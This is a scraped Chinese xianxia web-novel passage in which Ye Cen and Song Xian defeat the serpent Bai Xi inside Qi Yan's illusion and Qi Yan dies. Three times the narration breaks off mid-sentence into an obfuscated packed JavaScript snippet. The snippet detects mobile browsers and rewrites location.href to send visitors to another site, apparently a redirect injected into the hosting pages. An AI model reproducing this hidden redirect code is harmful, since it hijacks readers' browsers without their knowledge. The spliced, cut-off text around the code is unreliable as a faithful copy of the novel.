叶岑:“我还没想好怎么跟他说——” 戚滟:“让你叫他住手,又不是让你向他告白。” 她毕竟曾经是个阅男无数的花魁娘子,对付男人很有一套,因此游刃有余地出口指点:“你只需要娇弱一点、害怕一点、可怜巴巴一点,向他求救就可以了。他见你被我挟持,自然不敢再动手。” 叶岑:“明白了。” 叶岑清清嗓,深吸一口气,准备开始她的表演,然而张了张嘴,又愁云惨淡地将嘴闭上了。 戚滟:“又怎么了?” 叶岑:“我有些害羞。” 戚滟:“……这有什么好害羞的?” 叶岑忸怩作态:“我们其实眼下正处在暧昧的阶段,但等一下他要是为了我停手,这层窗户纸就要被捅破了,到那时候,我们就要腻在一起谈恋爱——可是我还没想好成了情侣之后,该叫他什么。” 戚滟:“。” 好想现在就杀了她。 但是她还有用。 戚滟耐着性子道:“你就叫他封哥哥。” 叶岑害羞捂脸:“封哥哥么?好亲昵呀!光是想想,我的脸都要烫起来了呢!” 叶岑:“有没有那种,含蓄一点的,不要那么直白的,又是独属于我们之间的那种称呼?就像——” 叶岑顿了顿,故意压低音:“就像‘子都’那样的。” 戚滟忽然噤了声。 叶岑:“说起来,戚滟姐姐,你当初被关进浮屠塔,果真是因为馋裴长老的身子吗?” 戚滟没说话,但叶岑察觉到,抵在她后背的烟杆微微地颤抖着。 叶岑:“其实,你是为了子都——又或者说是白矖吧?” 叶岑:“你知道白矖就是子都吗?” 叶岑:“你知道的吧?” 叶岑又问道:“那他知道你知道他是子都吗?” 戚滟还是不说话,但这会儿,连烟杆也不颤抖了。 叶岑:“他或许也是知道的吧?” 叶岑:“这可真是奇怪了,一个两个明明都知道对方是谁,却偏偏都在那里装傻。” 叶岑不由得感慨道:“陷入爱情的人,就是这样叫人看不懂。” 戚滟沉默良久,再开口时,声音里不带一丝情绪:“你找死。” 她说着,就要拿食指轻扣一扣烟杆,放出薄刃,将叶岑给结果了。 却发现,自己不知被什么力量禁锢住,动弹不得了。 叶岑向前走了两步,施施然转过身来:“戚滟姐姐,你的子都都处在那样危险的境地了,你不去帮他,却来挟持我,这是什么道理?” 戚滟不说话,叶岑替她回答:“让我猜猜,是不是因为,你在幻境外受了伤,即便躲进了幻境里,但也已经是强弩之末,根本没办法与我师兄对抗,只好来要挟我?” 叶岑看着戚滟,她腿边少得可怜的蓝色布料上,正沾着一张定身符。 ——若非强弩之末,区区一张定身符,恐怕还困她不住。 但叶岑素来是个谨慎的人,此刻她占了优势,也不轻敌,拿出更多的定身符,绕着戚滟贴了一圈,一边贴,一边笑嘻嘻地说胡话:“可真是不巧,其实我与师兄,早就是互通心意的关系了。我虽然是个菜鸡,靠着师兄给我的符箓,恰好也就略胜你……” 叶岑顿了顿,伸出两指比了个辱韩手势:“略胜你那么一筹。” 然后拿出一张大号定身符,犹豫片刻,目光停在戚滟平坦的腹部上—— 她穿一身露脐装,在这寒风料峭的冬夜里,叶岑总觉得,只消看上一眼,自己就马上能染上风寒。 得弄点什么东西给她遮上才好。 戚滟看出她的意图,身体动不了,嘴却还能动,咬牙切齿道:“你敢!” 一双杏眼盯着她,眼中杀意浓得都要溢出来。 叶岑叫这眼神吓得一个激灵,顿时蔫了:“我不敢。” 然后将定身符横过来,遮住了戚滟恶狠狠的眼神。 呼呼,这样见不着她杀人般的眼神之后,果然就没那么害怕了呢。 戚滟:“……” 做完这一切,叶岑拿下戚滟手中的烟杆,绕到她身后,清了清嗓,向着白矖喊道:“那边戚滟的小情郎,你最好给我马上住手!要不然……” 她将烟管的一端抵住戚滟的咽喉:“我可不敢保证手上的力气会不会更大一分!” 话说出口的那一刻,叶岑觉得,自己也好像一个小魔头,和宋显这个大魔头同流合污,拆散人家一对有情人。 白矖与宋显,一人一蛇,正在酣战。 高手对决,局势逆转,也就在一息之间。 因此是断然不可分心的。 然而白矖听到戚滟的名字,还是不可避免地一顿。 宋显敏锐地抓到它的漏洞,一拳落下去,将它硕大的蛇头打得一歪,然后狞笑着抛出一张瀚海符。 瀚海符上头铭文一闪,发出强烈的银光,是六合阵。 所谓六合,乃是天地洪荒,宇宙玄黄。 宋显抬手,五指微张,将瀚海符一拍,道:“起——” 道道银色的细丝从银光中射出,凝成实体。 白矖体型巨大,根本无处可躲,于是,那些银光凝成的细丝便穿过它的身体,射向四面八方,将它钉在水面上空,如同落入巨大的蛛网,瞬间动弹不得。 而宋显,早在张开六合阵的那一瞬间,就早有准备。 几个轻盈的步伐,足尖轻点水面,便优雅地向后退去。 正要退到望江楼,一直关注着他们战况的叶岑瞳孔一缩:“师兄小心你……” 她话没说完,一根细丝掠过宋显女装的裙角。 眼见着就要将他也倒吊起来困到阵法上。 然而宋显动作更快,伸手一拽,当机立断撕下衣裙的一角,然后扑通一声,落入了水中。 叶岑:“……的裙角。” 叶岑:“。” 少顷,宋显从水里爬出来,一跃上了临江楼,先看了一眼被贴满定身符的戚滟,而后叶岑对视一眼,眼中流露出了一些赞赏之色,道:“做得不错。” 说着,竟还向叶岑伸出右手,似是要揉揉她的脑袋! 但是宋显刚从河里爬出来,一身湿透了裙裾就贴在身上,下摆还是破破烂烂的。 这也就算了,他方才拆发簪打架,头发也乱糟糟,几缕头发丝还贴在脸上。总而言之,浑身都湿哒哒,手也湿哒哒—— 叶岑下意识地后退了一步。 宋显一把捞过她挟持戚滟用的烟杆,在手中掂了掂。 然后才一抬头,看向叶岑:“你躲什么?” 叶岑:“……” 叶岑:“我腿抽筋,没站稳,所以退了半步。” 宋显:“哦哦。” 又在烟杆末端扣了扣,烟杆便发出“噗”的一声轻响,伸出一片薄刃来。 宋显嘴角一瞥,一脸嫌弃:“勉勉强强,也只能先拿着用了。” 他说着,走到望江楼边,抬眼看向被困缚着的白矖:“异兽白矖,修恶鬼道,以生人之魂来助长修为。” 他的目光落在白矖的头顶:“嘶,龙角都长出一半了——你屠了多少座凡人城池了?” 叫他一说,叶岑也不由自主去看白矖的头顶。 先前几次见到白矖,她都被吓破了胆,当然也就无暇注意一些细节。这会儿它被困在六合阵中动弹不得,叶岑才注意到,白矖巨大的蛇头的一侧,生出一只尖角,竟然是一半已经化了龙的! 然而那龙角不知被什么利器所伤,生生被削去了一大截,因此,瞧着并不显眼。 白矖也不知想些什么,自从化作蛇身,便一言不发。 被六合阵困住,无异于万剑穿身,但它一声不吭。 对于宋显问的这问题,也是只字不答,恍若未闻。 宋显也不恼,“啧”了一声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16818405|190790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“屠了那么多座城,竟然还妄图化龙,结果还不是被困在这里。” 白矖忽然道:“那是因为天道不公!” 他的声音里充满不甘与愤怒:“我生来就在蛇族之上,如今的大殷已经没有龙了,我就是最接近龙的存在,凭什么不能化龙?这世道弱肉强食,我用自己的方式化龙,又何错之有?” 宋显:“那你为什么不去杀道修或是魔修,去抢夺他们的修为呢,是因为不想吗?” 宋显嘴角噙着蔑然笑意:“让我猜猜。杀修士,万一人家的修为在你之上呢?根本没有完全的把握嘛。杀凡人就不一样了,杀他们多省力啊,他们没有灵根,无法修炼,但是灵气也在他们体内运转。更妙的是,凡人哪里有本事反抗你呢,他们筑起城池,以族群居,正方便你一城一城地杀呢。” 他顿了顿,缓缓收敛起嬉笑的神色:“修道界的弱肉强食,可从不包括毫无反抗之力的凡人。” 白矖冷笑:“既然毫无反抗之力,为何不能任人宰割?凡人,就是最卑贱的蝼蚁。身为蝼蚁,却能在我化龙的助我一臂之力,这才是他们卑微人生的最大价值,不是吗?” 宋显张了张嘴,正想说话,忽而一个女声道:“我也是这样的蝼蚁吗?” 叶岑偏过头去,是站在她身边被贴了定身符、沉默了许久的戚滟。 宋显也看过去,挑了挑眉:“哦,差点把你给忘了。” 他说着,伸手揭下贴在戚滟脸上的巨大定身符:“你还有什么话要同你的情郎交代吗?一会儿我就要将他杀了。” 他说着,上下打量戚滟。 她原本在幻境外就受了重伤,这会儿连嘴唇都是白的,若非有定身符将她的身体撑着,恐怕站也站不住。 宋显于是提点道:“你最好快一些,我看你也活不久了。” 叶岑:“……” 你明明是在质问白矖那个大魔头的凶恶行径,是正义的一方,怎么温暖的嘴里,能说出这么冰冷的话来? 戚滟却看也不看宋显,一双眼只盯着白矖:“我也是凡人,是你眼中卑微的蝼蚁吗?” 白矖却忽然噤了声。 戚滟也不在意,只是自顾自地说下去:“当初你躲进花楼,既是为了躲避雷劫,又是为了养伤,只是养伤的日子过于无聊,又在这时候遇上了我,便来撩拨我,是吗?那天夜里你等在桃花渡,是想同我说什么?你养好了伤,我这个蝼蚁失去了价值,因此,你便想同我告别,是不是?” 白矖默然片刻:“是。” 戚滟陡然提高声音:“你撒谎!” 白矖再次噤了声。 戚滟的目光扫过白矖身上的每一寸。 这样一条大蛇,自她进了浮屠塔开始,就一直陪在她的身边了。 那时浮屠塔的第三百二十七层,还不像如今一般,其实还困着一些其他凶恶之徒的。她一个半道入魔的魔修,根本不是他们的对手,但是她身边有白矖。 于是她逐渐成为这一层的主宰,将这里装扮成自己喜欢的样子。 它从来都是威风凛凛的,衬得站在它身边的戚滟也是威风凛凛。 可是此刻,千万道银丝穿透它的身体,让它浑身上下几乎没有一块好肉。 戚滟道:“那时在魔域,我的人明明找到过你。你为什么又要离开?你离开之后,又经历了什么?” 戚滟:“你为何不敢用从前的样子见一见我——” 她顿了顿,轻声唤她:“子都。” 白矖,又或者说子都,始终一言不发。 戚滟嘴角泛起一个自嘲的笑容。 两千多个日夜,很多时候午夜梦醒,那大蛇就蜷在她身边,拿蛇尾扫扫她的鼻尖。 那蛇尾那么大,可它的动作那么轻柔。 很早的时候,她就知道陪在她身边的是谁了。 甚至更早在魔域的时候,她就知道了。 那时她手底下的人魔修到处抢人,有一次,就将他带回来了。 他们都以为她找到了同她心上人最相像的人,可她实际上知道,那不是什么相像的人,那就是她的心上人。 那是她溺死之后很多年,再一次见到他。 可是他并未与她相认。 他装着与她不认识的样子。 三天后,他便失踪了。 再次相见,便是在浮屠塔中,他已经成了白矖的样子。 她当然不是因为什么贪图裴无衣的美貌才进的浮屠塔,她只是知道他在浮屠塔,发了狠地想见他罢了。 她有许多话想问他,问他为何要离开,问他当初在桃花渡口到底要说什么,问他,是不是真的爱她。 可是瞧见他那个样子,她又什么都问不出口了。 于是只好语言暗示,他却从来不说话,永远是一条蛇的样子,有时用蛇头抵抵她的额头,有时吐吐信子,舔舔她的手心。 很长一段时间,戚滟都想,就那样装傻,一直维持下去就好了。 到了这会儿才发现,她其实还是想见他—— 有什么东西不可以两个人一起面对呢? 可即便到了眼下这样的时刻,他都不愿意出来,与她相见。 戚滟感觉到,她体内的灵力正缓缓流逝,眼前的视线也变得模糊起来。 其实她坚持到这时候,原本就是一直在强撑了。 可她死死盯着白矖,他始终动也不动,甚至看也不敢看她一眼。 戚滟于是轻笑一声,道:“子都,我真是,瞧不起你。” 19. 第 19 章 那是戚滟说的最后一句话。 白矖却始终没有说话。 修道到了他这个份上,其实不需要过去探查,他还被困在六合阵中,但已经能察觉到,戚滟的气息弱了下去,再后来,便是没有了生息。 可他仍是没有说话。 说什么呢? 说他当初躲进花楼,确实另有目的。 那时他刚历过一次天劫。 他屠了很多座城,杀了很多人,终于从凡人身上吸纳了足够的灵气,可以渡劫了。 修士修仙,生阶要渡劫。白矖化龙,同样也要渡劫。 谁料天道不公,根本没想给他机会。 渡劫那日,滚滚天雷落下来,天道说他杀伐无道,不但没让他化龙,还降下道道天雷,差点要了他的命。 戚滟初见他时瞧见他身上有道道血痕,那其实不是鞭子留下的伤痕,而是天雷。 他从天雷之下逃生,只剩了一口气,为了保住一条命,只能躲进花楼里—— 五色令人目盲,人间的花楼,是欲望最盛的地方,能让他暂避天道。 然后遇上了戚滟。 他也说不准自己是什么时候动的心。 大抵因为是相遇在花楼里,他们的动心都很随意。 等他有一天恍然察觉自己的心意的时候,他已经在花楼里呆了许久了。 那时他的伤好得差不多了,其实随时可以化作蛇身遁走,但是戚滟变着法给他做吃的。 有时候他端着馄饨想,听说她明天要亲自和面做包子,芹菜猪肉馅的包子!那就再多待一天吧。 这个想法冒出来的一瞬间,还要将脸一沉,反复在心中说服自己,那是因为,她做的菜太好吃了。 反正他留下来,不是因为她这个人。 这样自欺欺人了一段时间,后来他又想,这个女子虽然是个凡人,却和寻常凡人不太一样。 他要化龙,也不差这一个凡人,那就勉勉强强,给她一个恩典,带着她双修吧。 这样她寿数长一点,能陪在自己身边,将来他真化了龙,也不至于太寂寞。 实际上,他们早就那样在做了,但是他怕对方是个凡人,承受不住,因此始终收敛自己周身的灵气。 他向来是倨傲自负的,他瞧不上蛇族,瞧不起凡人,甚至轻视天道。 可唯独面对戚滟,他变得小心翼翼起来。 他有时候想,她瞧见自己的真身,会害怕吗?他知道凡人向来是胆小的。 有时候又想,要她与自己一同修道,她会愿意吗?可凡人难道还能拒绝长生的诱惑吗? ——她总是不会拒绝他的吧? 怀着这样忐忑的心情,他去了桃花渡。 他想,他要在这一夜向她坦白。 坦白之后,哪怕她害怕也没什么关系。 若是她害怕,想逃开,他就将她关起来,锁起来,让人也找不着、瞧不见—— 是了,她的模样生得好看,虽然因为脾气不好,在花楼里没什么朋友,可她毕竟生就了一副好模样。 戚滟或许不知道,在花楼里那些男人用那样的眼光看着她的时候,他恨不得将他们都杀了。 他可以做她一个人的子都,她当然也应该成为他一个人的艳娘。 然而他在渡口等到后半夜,始终没等来戚滟。 在他决定向戚滟坦白一切的时候,戚滟失踪了。 他又在花楼等了很长一段时间,她始终没回来。 天道始终不曾放过他,只要他试图违抗天道,雷霆劫难便会随之而来。 为了躲避雷劫,他后来又去了很多地方,最后终于决定放下一切,重新开始修炼。 那时候人修已经逐渐壮大起来了,凡人地界,正道的修士们也要去多管闲事,屠城成了一件不是那么容易的事情。 唯有靠近魔域的地方,道修鞭长莫及。 于是他去了魔域。 但是他并未来得及开始修炼。 那时他走在长街上,街边是一个馄饨摊。 他盯着那个馄饨摊,想起一些旧事,有一瞬间的愣怔。 忽而街上的人慌乱起来了。 他们四处逃窜,奔走相告,说魔族最好色的那个女长老,来抢人了。 白矖怎么也想不到,他此生还能与戚滟重逢。 更想不到,重逢是在这样的情况下。 他满心以为当年,自己想同戚滟双修是对她的恩典,没想到时隔多年再重逢,自己竟然是在下·面的那个。 这也就算了,时隔多年,再次相逢,他发现,戚滟的魔都府中,除了他,还有许多其他男子。 他其实隐隐瞧得出来,那些男子,要不眼睛像他,要不嘴巴像他,总而言之,身上多多少少,总有一处与他相似。 但是,他如何能确定,她收集那么多与他相像的人,是在宛宛类卿,还是就是喜欢这种长相的呢? 毕竟,他们最开始对彼此,就都是见色起意。 白矖,一个自出生起,就坏事做尽,质疑天,质疑地,就是从不会质疑自己的魔头,在这一刻,产生了深深的自卑感。 他的尊严不允许他去问,甚至让他拉不下脸去试探。 于是他闹了脾气。 他装着不认识戚滟的样子,听到她喊他“子都”也是一脸茫然。 如是三天之后,他出门在外,晴天一道天雷劈下来,将他劈成了重伤。 那是惩罚他滥杀的天雷劫,他先前东躲西藏,终究没有躲过。 他奄奄一息倒在路边,被路过的虚伪正道裴无衣顺手抓进了浮屠塔。 很后来他想,要是那三天,他没有同戚滟闹脾气、装着不认识她就好了。 可是,他永不可能与她相认了,哪怕后来戚滟也进了浮屠塔,他也没办法告诉她自己是谁了。 因为那最后一道雷劫劈坏了他的根本。 他化作人身,若非是在幻境里,其实有一道可怖的伤口,如蜈蚣一般,从心口一直蔓延到脸上,爬满他的整张脸。 他与戚滟,原本就是见色起意,这其中有多少真情,谁又说得清呢? 白矖就维持着蛇的形状,一言不发。 许久,他忽然笑出了声。 那笑声沙哑难听,听着像是砂纸在桌面上摩擦,却一声高过一声,到最后,成了疯狂的大笑。 叶岑心中顿时警铃大作—— 这样的情节,她从前在话本里看过不要太多。 通常一对情侣当中若是死了一个,那另一个便会如有神助,爆发出巨大的力量,那么不管战况对于他而言是多么不利,他都能借这爆发出来的力量将其逆转。 叶岑手中捏了道护身符,瞧见宋显大喇喇站在那里,躲也不躲,赶紧上前一步,大方地也往他手中塞了一张一样的符箓。 宋显奇怪地看她一眼,又去看白矖。 手中却将符箓攥紧了。 然而白矖笑够了,却是什么也不做,只是沙哑着开口道:“天道不容我,同你们青云门又有何关系?” 白矖:“说到底,你们这些恶心的正道人士,自诩替天行道,只不过是这种不公之事没有落在你们自己身上罢了。若是轮上了你,想必又要换一副说辞了吧。” 他顿了顿,蛇头虽然动弹不得,可叶岑莫名觉得,他的眼神望向了自己。 话却还是对宋显说的:“譬如你身后这个小姑娘,她是你的心上人吧?” 叶岑矢口否认:“我不是我没有你别……” 白矖:“她也是借命而生,你怎么不替天行道了?” 叶岑的说话声戛然而止。 宋显闻声,又回头看了叶岑一眼。 叶岑顿时感到一阵心虚。 这白矖,不愧是化龙化了一半的上古异兽,竟一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16822477|190790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼就看穿了她不是白涟漪本人。 然而宋显狐疑的目光还停在她身上。 叶岑吞了口口水,迎上宋显的目光,可怜巴巴道:“我不是,我没有,我根本听不懂他在说什么。” 她抱抱可怜的自己:“我只不过是一个什么都不知道、满门被屠、孤苦伶仃的小姑娘而已。” 她说这话时,神态动作都过于做作,宋显目不忍视,一言难尽地转过头去。 白矖:“她修这邪术,总也有被天道所不容的一天,到那时,你要怎么办呢?还能像现在对我这样,替天行道吗?” 叶岑缩了缩脖子,忍不住开始胡思乱想。 她这也算不上邪术吧。 她又不是主观上夺舍了白涟漪,山阿告诉她,她来到这里的时候,白涟漪已经死了,她最多属于借尸还魂。 这叫资源的合理利用。 但是若宋显发现了她这里子已经不是白涟漪了,会将她当做邪魔除掉吗? 虽然他本人好像也没有特别正派的样子,但他若是想除了她,那她还是毫无反抗之力的吧。 叶岑下意识地去看宋显。 宋显这次却看也没看她一眼,似乎毫不在意。 叶岑于是偷偷松一口气。 她想,宋显自己也背着一身秘密,或许,对她是什么样的人并不感兴趣。 宋显看着白矖,半晌后,忽然笑了一声:“谁说我要替天行道?” 他将烟杆绕在指尖转了两圈,面上又带上那种让人瞧不明白的笑容:“你杀那么多凡人是弱肉强食,那我强于你,杀你,岂不是理所应当吗?” 他话音落下,足尖一点栏杆,劈身上前。 与此同时,戚滟的烟杆在他手中宛如灵巧长剑,挽过一个好看的剑花,准确无误地洞穿了白矖的心脏。 戚滟身死,白矖被宋显亲手结果了,于是幻境破碎。 有天光漏进来,叶岑只觉得眼前一花,再睁眼时,又回到了浮屠塔中。 周围是让人眼花缭乱的七彩布帛,布帛之上躺着两具尸体,一个,是早已断了气的戚滟,一个,是终于化回了人身的白矖。 叶岑走上前去,瞧见他脸上蜿蜒着的伤疤,愣了愣,心中忽然冒出一些想法。 兴许,白矖始终不敢在戚滟跟前化作人身,是因为不敢让她瞧见自己的脸。 又兴许,戚滟后来被关进了浮屠塔,其实并不是因为馋裴无衣的身子,而是因为,知道了白矖在浮屠塔。 兴许,他们都低估了自己对对方的喜欢,也低估了对方对自己的喜欢。 可斯人已去,事情的真相究竟如何,又有谁能知道呢? 宋显也走上前来,瞧见她愣怔的神色:“怎么,吓到了?” 叶岑摇摇头:“他杀了那么多无辜凡人,落得这样的下场,是死有余辜。” 她以前生在深宫里,其实也是认同弱肉强食的。 像她被贵妃赐了一丈红,虽然也恨得牙痒痒,可到底是自己技不如人,也没什么好说的。 可她从前毕竟也是个凡人,就很难站在白矖的角度与他共情了。 白矖死的时候,她其实还产生了一瞬间的恍惚。 从前她是个小宫女,一眼望到头,后宫中最有权势的便是皇后。 如今到了大殷,人人修真,她习惯了往上爬,自然也兢兢业业,勤于修炼。 可修得通天修为,站上巅峰之后呢? 她就要借着修士的身份从此高高在上、睥睨众生,将那些凡人视作蝼蚁吗? 人不能,至少不应该如此吧。 她道:“凡人,其实也不像他说的那样不堪一击。” 宋显来了兴趣:“说来听听。” “修士修道,是为超脱红尘,因为红尘皆苦。可凡人,他们直面红尘。”叶岑道,“红尘痛苦、艰涩、残忍至极,可是凡人乐观、坚韧、生生不息。” 20. 第 20 章 叶岑也说不准自己为什么会说出这样的话。 她自问不是什么善良的人。 可是说这话时,好像有汹涌的对凡人的爱意从她的心间涌出来,让她仿佛成为一个慈悲的仙人。 宋显眼中也有些意外与赞赏。 但他很快将这份赞赏之色掩下去,哼了一声:“勉强是个道理吧。” 这样觉得还不够,又补一句:“想得还挺多。” 叶岑:“……” 你想夸人可以大大方方地夸,不用这么勉勉强强的! 她不肯输人的老毛病犯了,“哦”了一声:“但是也有想不明白的。” 宋显:“譬如呢?” 叶岑打量一眼宋显。 出了幻境,他的穿着当然已经换回了一身黑衣。 但不得不说,先前他一身襦裙配上十分妖艳的妆容,还是给叶岑留下了不可磨灭的心理阴影。 叶岑:“譬如,师兄对付白矖,明明游刃有余,却偏偏要扮女装,不会是……” 宋显凉凉的眼神看过来,叶岑意识到自己有些得意忘形。 叶岑飞快地改口:“不会是个大聪明吧。” 宋显:“……” 改完口之后的叶岑:“……” 好屈辱,好没有尊严。 宋显扫她一眼:“稍微乔装一下,就能更有胜算,也能少受些伤,为什么要正面与他硬碰硬呢?谁天生喜欢受伤的?” 他说着,没了和叶岑打太极的兴致,先看了看从戚滟那里缴来的烟斗,然后摇摇头走上前去,在白矖身上摸索起来。 叶岑:“!” 就说他是有怪癖的吧! 什么少受些伤、更有胜算,根本就是借口! 他甚至上一刻说完这种冠冕堂皇的话,下一刻就对着人家的尸体上下其手! 宋显摸了一阵,一无所获。 目光又移到戚滟身上。 叶岑:“!!” 哇靠禽兽啊禽兽! 然而大抵因为那是个女子,宋显终究没能下得去手。 他抬起的手又放下,转头看向叶岑。 叶岑:“!!!” 你要干什么我可是个活人啊我有贞操观念的我会叫的!!! 宋显:“带匕首了吗?” 叶岑:“???” 叶岑:“……” 原来是要搜他们的身,找个趁手的武器。 戚滟的烟斗上也安了薄刃,不过显然是刀片又窄又薄,还不够。 也不知宋显要做什么,不过匕首……她还真有。 叶岑从戒子囊中翻出匕首丢过去。 宋显伸手接住,视线还停在她脸上,眉头皱起:“要你一把匕首,你一脸视死如归的做什么?” 叶岑:“……有吗?” 宋显:“有啊。” 叶岑睁着眼睛说瞎话:“可能我脸抽筋了吧。” 宋显了然:“原来如此。” 叶岑:“……” 原来如此你个头。 但她不敢有任何的置喙,因为宋显接过匕首,对着白矖比划了一阵,然后手起刀落,干脆利落地剖开了他的胸膛。 宋显将匕首一丢,徒手伸进白矖的胸腔里,掏出一颗鸽子蛋大小的珠子。 这东西叶岑曾在书上看到过。 据说修士修道,入得法门之后,体内便会凝出紫府。 待修到了一定境界,紫府当中,又会凝丹。 道修凝丹,便是金丹;妖修凝丹,便是妖丹。 虽然称呼不同,本质上其实是同一个东西。 不过毕竟凝结了修士努力了大半辈子的心血,从金丹这个叫法就可以看出来,应当是颗金灿灿的珠子了。 然而宋显从白矖怀胸膛中剖出来的这颗妖丹,却是黯淡无华,一点光彩都没有。 他将妖丹捏在手心,露出嫌弃的神色,啐了一口:“啧,都让天雷给劈碎了。” 他用拇指肚将妖丹细碎的裂痕摩挲了一阵,收了匕首,走到叶岑跟前:“匕首借我用用。” 叶岑还在瑟瑟发抖,点头如小鸡啄米:“好的师兄。” 叶岑这样乖巧恭敬,宋显很是受用。 他剑眉一挑,也大方起来,将妖丹递给叶岑:“那这个就送给你吧。” 叶岑上下两排牙齿还在疯狂打颤,恭敬地伸出手去:“谢谢师兄。” 看也不敢看是什么东西,直接丢进芥子囊。 宋显:“不必每说一句话就叫我一声师兄。” 叶岑:“好的师兄。” 宋显:“……你现在是在怕我吗?” 叶岑:“是的师……” 话说一半猛然意识到他问的是什么,只好硬生生改口,却一时根本想不到合适的说辞,于是成了:“阿巴阿巴。” 宋显:“。” 宋显想了想:“手伸出来。” 叶岑战战兢兢地伸出手。 宋显往她手心一拍。 于是她的手心躺了一张符箓。 金红色的朱砂勾出繁复的纹路,是她先前给宋显防身用的绞杀阵。 宋显:“瞧你先前宝贝得跟什么似的,还给你了。” 他说完,又想到什么,从怀中掏出一物,也放进叶岑的手心里。 这次是一块魂玉。 宋显:“这个也还给你。好了,你走吧。” 叶岑:“啊?” 宋显:“你想进尘中阁,恐怕不可以。云何意那个老头这会儿还不知道在哪里野呢。他这个人的性子说不准的,人也不靠谱,不喜欢收弟子的。” 宋显想了想:“去月帔阁吧。你过了三百二十七层的试炼,已经是很不错的成绩了。在符箓的修行上又有点天分,六长老教得杂,符箓相关的也有涉猎。她又只喜欢女弟子,你去月帔阁,一定没什么问题。” 手心的魂玉还带了些温度,叶岑手心感受到微微暖意,缓缓回过神来:“那你呢?” 宋显抬头望了望。 他进浮屠塔,首先是为了杀戚滟,这个事情已经办成了。 遇上白矖,是在意料之外。 但是白矖的妖丹已经叫雷劫劈坏了,既然不能为他所用,他就还要往上走。 他杀了白矖与戚滟,裴无衣大概马上就要察觉到,那么,他再怎么靠白涟漪隐匿气息都没什么用。 也就是说,他必须要速战速决了。 况且—— 宋显收回视线,又看了看白涟漪。 她还愣愣的,一副傻样。 也不知是扮猪吃老虎,还是真的就是傻。 他觉得,白涟漪这个人,虽然满嘴谎话、居心叵测、为人狡诈。 但是,谁身上没有怀着一些小秘密呢? 浮屠塔中这么短暂时间的相处下来,他基本可以确定,白涟漪虽然身怀引雷之术,使用的符箓也大多剑走偏锋,但大体上,确实是个弱鸡。 总而言之,不是冲着他来的。 对他也是构不成威胁的。 他是对她上山来的目的有些好奇,也只是有点好奇而已。 这个可以等到出了塔再去探究。 ——其实也没那么感兴趣,不探究也行。 浮屠塔再往上走,他要去的那层,自己都没什么把握,既然白涟漪已经不再能帮他隐匿气息,就还是不要继续 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她其实始终觉得宋显这个人不太好。 他身上的魔族血脉就像一颗隐雷,性格又不好,非但喜怒无常的,还有点幼稚。 但他们两次一起经历戚滟的幻境,也算是并肩作战过了。 莫名产生了一些战友情。 而且—— 叶岑从芥子囊中又翻出宋显给她的妖丹,妖丹让雷劈得满是细纹,虽然黯淡,却在裂纹的烘托之下,更显出几分妖冶。 我也不想跟他示好啊,可是他送我妖丹诶! ——还是上古异兽白矖的妖丹!虽然被雷劈坏了可能没什么用,但是值钱啊! 叶岑于是抛开自己那点无足轻重的别扭心情,又眉开眼笑起来。 她重新将妖丹收进芥子囊,正要拿起魂玉捏碎,忽然觉得脚下立足的青砖猛的一颤。 叶岑站立不稳,手一抖,魂玉就从手中滑出去,滚了几滚,落在她几步之外。 叶岑:“?” 她环视四周,又没什么动静了。 仿佛那震颤只是她的错觉。 叶岑攥了一张护身符,警惕地向前走了几步,依旧没什么动静。 她稍稍放下心,弯腰去捡魂玉。 眼见着指尖就要够到魂玉的时候,忽然青砖塌陷,脚下一空,整个人就坠了下去。 21. 第 21 章 几乎是一瞬间,叶岑就明白了是怎么一回事。 上次有类似的感觉,还是在浮屠塔第三层,宋显拔下不嗔兽脑袋顶上一根毛的时候。 虽然那时候有宋显扶着她,让她不至于这么晕,但那种恶心想吐的感觉,是一样的! 在那之后,她就从浮屠塔第三层,来到了第三百二十七层。 可是—— 她已经不打算继续往上走了啊! 浮屠塔到底是怎么测算的啊!? 三百二十七层往上,哪一层要不了她的命啊! 最关键的是,她的魂玉都被震掉了啊! 叶岑满心都是绝望,只觉得两眼一黑。 也不是觉得。 她实在受不了这让人头晕眼花的眩晕感,当真两眼一黑,晕过去了。 晕过去前,叶岑后悔地想,早知道就不把另一块魂玉给宋显了。 再醒来的时候,叶岑瞧见一片刺目天光。 她下意识地抬手遮眼睛,适应了一会儿才坐起来,环顾四周,发现自己躺在一个空阔的广场上。 广场是个巨大的圆形广场,广场上立了十来根参天的浮雕柱子,柱身雕满了狐狸,大多龇牙咧嘴,凶相毕露,身后若干条长尾张扬地竖立着。 瞧着栩栩如生的,似乎下一刻就要从柱子上扑出来咬人。 叶岑又低头看广场的地面。 她落脚的地方是一个圆形的台子,落在广场的边缘,从台子为看出去,广场的另一边也是台子,两个台子之间,横斜的水渠交织在一起,汇成一个巨大的图案—— 兴许也只是一些杂乱无章的水渠,但是叶岑也不知是不是画多了阵法魔怔了,总觉得这线与线之间勾连起来,像极了阵法的铭文排布。 正迷惑时,身后一个声音喊道:“公主!” 语气里满满的都是惊喜。 叶岑回过头去,瞧见两个小姑娘。 